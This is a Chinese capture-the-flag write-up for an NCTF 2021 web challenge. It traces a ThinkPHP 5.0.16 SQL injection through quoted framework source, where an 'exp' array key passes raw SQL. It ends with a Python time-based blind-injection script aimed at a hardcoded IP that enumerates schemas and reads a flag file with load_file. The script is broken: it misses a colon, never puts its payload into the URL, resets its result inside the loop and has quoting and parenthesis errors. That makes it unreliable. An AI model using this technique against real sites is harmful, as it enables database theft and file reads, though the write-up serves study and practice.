2021 NCTF-web 摆就完事了(2)复现

2021 NCTF-web 摆就完事了(2)复现

前置知识

ThinkPHP5.0.16&5.1.6SQL注入漏洞

参考学习:https://www.cesafe.com/html/3631.html
首先跟入insert,thinkphp/library/think/db/Query.php:2078

public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
{
    // 分析查询表达式
    $options = $this->parseExpress();
    $data    = array_merge($options['data'], $data);
    // 生成SQL语句
    $sql = $this->builder->insert($data, $options, $replace);
    // 获取参数绑定
    $bind = $this->getBind();
    if ($options['fetch_sql']) {
        // 获取实际执行的SQL语句
        return $this->connection->getRealSql($sql, $bind);
    }

    // 执行操作
    $result = 0 === $sql ? 0 : $this->execute($sql, $bind);
    if ($result) {
        $sequence  = $sequence ?: (isset($options['sequence']) ? $options['sequence'] : null);
        $lastInsId = $this->getLastInsID($sequence);
        if ($lastInsId) {
            $pk = $this->getPk($options);
            if (is_string($pk)) {
                $data[$pk] = $lastInsId;
            }
        }
        $options['data'] = $data;
        $this->trigger('after_insert', $options);

        if ($getLastInsID) {
            return $lastInsId;
        }
    }
    return $result;
}

发现其进行了$sql=$this->builder->insert($data, $options, $replace);的构造语句,跟入thinkphp/library/think/db/Builder.php:720:

public function insert(array $data, $options = [], $replace = false)
{
    // 分析并处理数据
    $data = $this->parseData($data, $options);
    if (empty($data)) {
        return 0;
    }
    $fields = array_keys($data);
    $values = array_values($data);

    $sql = str_replace(
        ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
        [
            $replace ? 'REPLACE' : 'INSERT',
            $this->parseTable($options['table'], $options),
            implode(' , ', $fields),
            implode(' , ', $values),
            $this->parseComment($options['comment']),
        ], $this->insertSql);

    return $sql;
}

使用了parseData函数,跟入thinkphp/library/think/db/Builder.php:101

protected function parseData($data, $options)
{
    if (empty($data)) {
        return [];
    }

    // 获取绑定信息
    $bind = $this->query->getFieldsBind($options['table']);
    if ('*' == $options['field']) {
        $fields = array_keys($bind);
    } else {
        $fields = $options['field'];
    }

    $result = [];
    foreach ($data as $key => $val) {
        $item = $this->parseKey($key, $options);
        if (is_object($val) && method_exists($val, '__toString')) {
            // 对象数据写入
            $val = $val->__toString();
        }
        if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
            if ($options['strict']) {
                throw new Exception('fields not exists:[' . $key . ']');
            }
        } elseif (is_null($val)) {
            $result[$item] = 'NULL';
        } elseif (is_array($val) && !empty($val)) {
            switch ($val[0]) {
                case 'exp':
                    $result[$item] = $val[1];
                    break;
                case 'inc':
                    if ($key == $val[1]) {
                        $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
                    }
                    break;
                case 'dec':
                    if ($key == $val[1]) {
                        $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
                    }
                    break;
            }
        } elseif (is_scalar($val)) {
            // 过滤非标量数据
            if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
                $result[$item] = $val;
            } else {
                $key = str_replace('.', '_', $key);
                $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
                $result[$item] = ':data__' . $key;
            }
        }
    }
    return $result;
}

分析该switchcase函数

switch ($val[0]) {
    case 'exp':
        $result[$item] = $val[1];
        break;
    case 'inc':
        if ($key == $val[1]) {
            $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
        }
        break;
    case 'dec':
        if ($key == $val[1]) {
            $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
        }
        break;
}

发现当我们传入的第一位的值为exp时,该函数会直接把第二位的值传给result当中,于是我们可以传参/?username[0]=exp&username[1]=payload,于是可进行sql注入。

ThinkPHP驼峰命名法

默认情况下,URL地址中的控制器和操作名是不区分大小写的,因此下面的访问其实是等效的:

http://tp5.com/index.php/index/Index/Index
http://tp5.com/index.php/index/INDEX/INDEX

做题详解

扫目录下源码得到www.zip
随便输入后发现网站是用ThinkPHPv5.0.16搭建的,发现我们可以路由访问规则来进行访问。
分析源码,找出上述漏洞后,我们可以使用基于时间的布尔盲注来解题,脚本如下:

import requests
import time
def SQL_injection():
    for i in range(1, 100)
        res=''
        left=32
        right=128
        mid=(left+right)//2
        while(left<right):
            begin_time=time.time()
            payload_database="if(ascii(substr(database(), %d, 1))>%d, sleep(4), sleep(1))" %(i, mid)
            payload_all_database="if(ascii(substr(select(group_concat(schema_name))from(information_schema.schemata)), %d, 1))>%d, sleep(4), sleep(1))" %(i, mid)
            payload_table="if(ascii(substr(select(group_concat(table_name)from(information_schema.tables)where(table_schema='nctf')), %d, 1))>%d), sleep(4), sleep(1))" %(i, mid)
            payload_column="if(ascii(substr(select(group_concat(column_name)from(information_schema.columns)where(table_name='m1saka')), %d, 1)>%d), sleep(4), sleep(1))" %(i, mid)
            payload_info="if(ascii(substr(select(load_file("/var/www/html/ffllaagg.php")), %d, 1)>%d), sleep(4), sleep(1))" %(i, mid)
            payload=payload_info
            url='http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=payload'
            r=requests.get(url=url)
            end_time=time.time()
            lost_time=end_time-begin_time
            if lost_time > 3:
                left=mid+1
            else:
                right=mid
        if(mid==32):
            break
        res+=chr(mid)
    print(res)

if __name__ == "__main__" :
    SQL_injection()

得到flag。

上一篇:Delphi 彩票抽奖机


下一篇:常见yaml写法-pod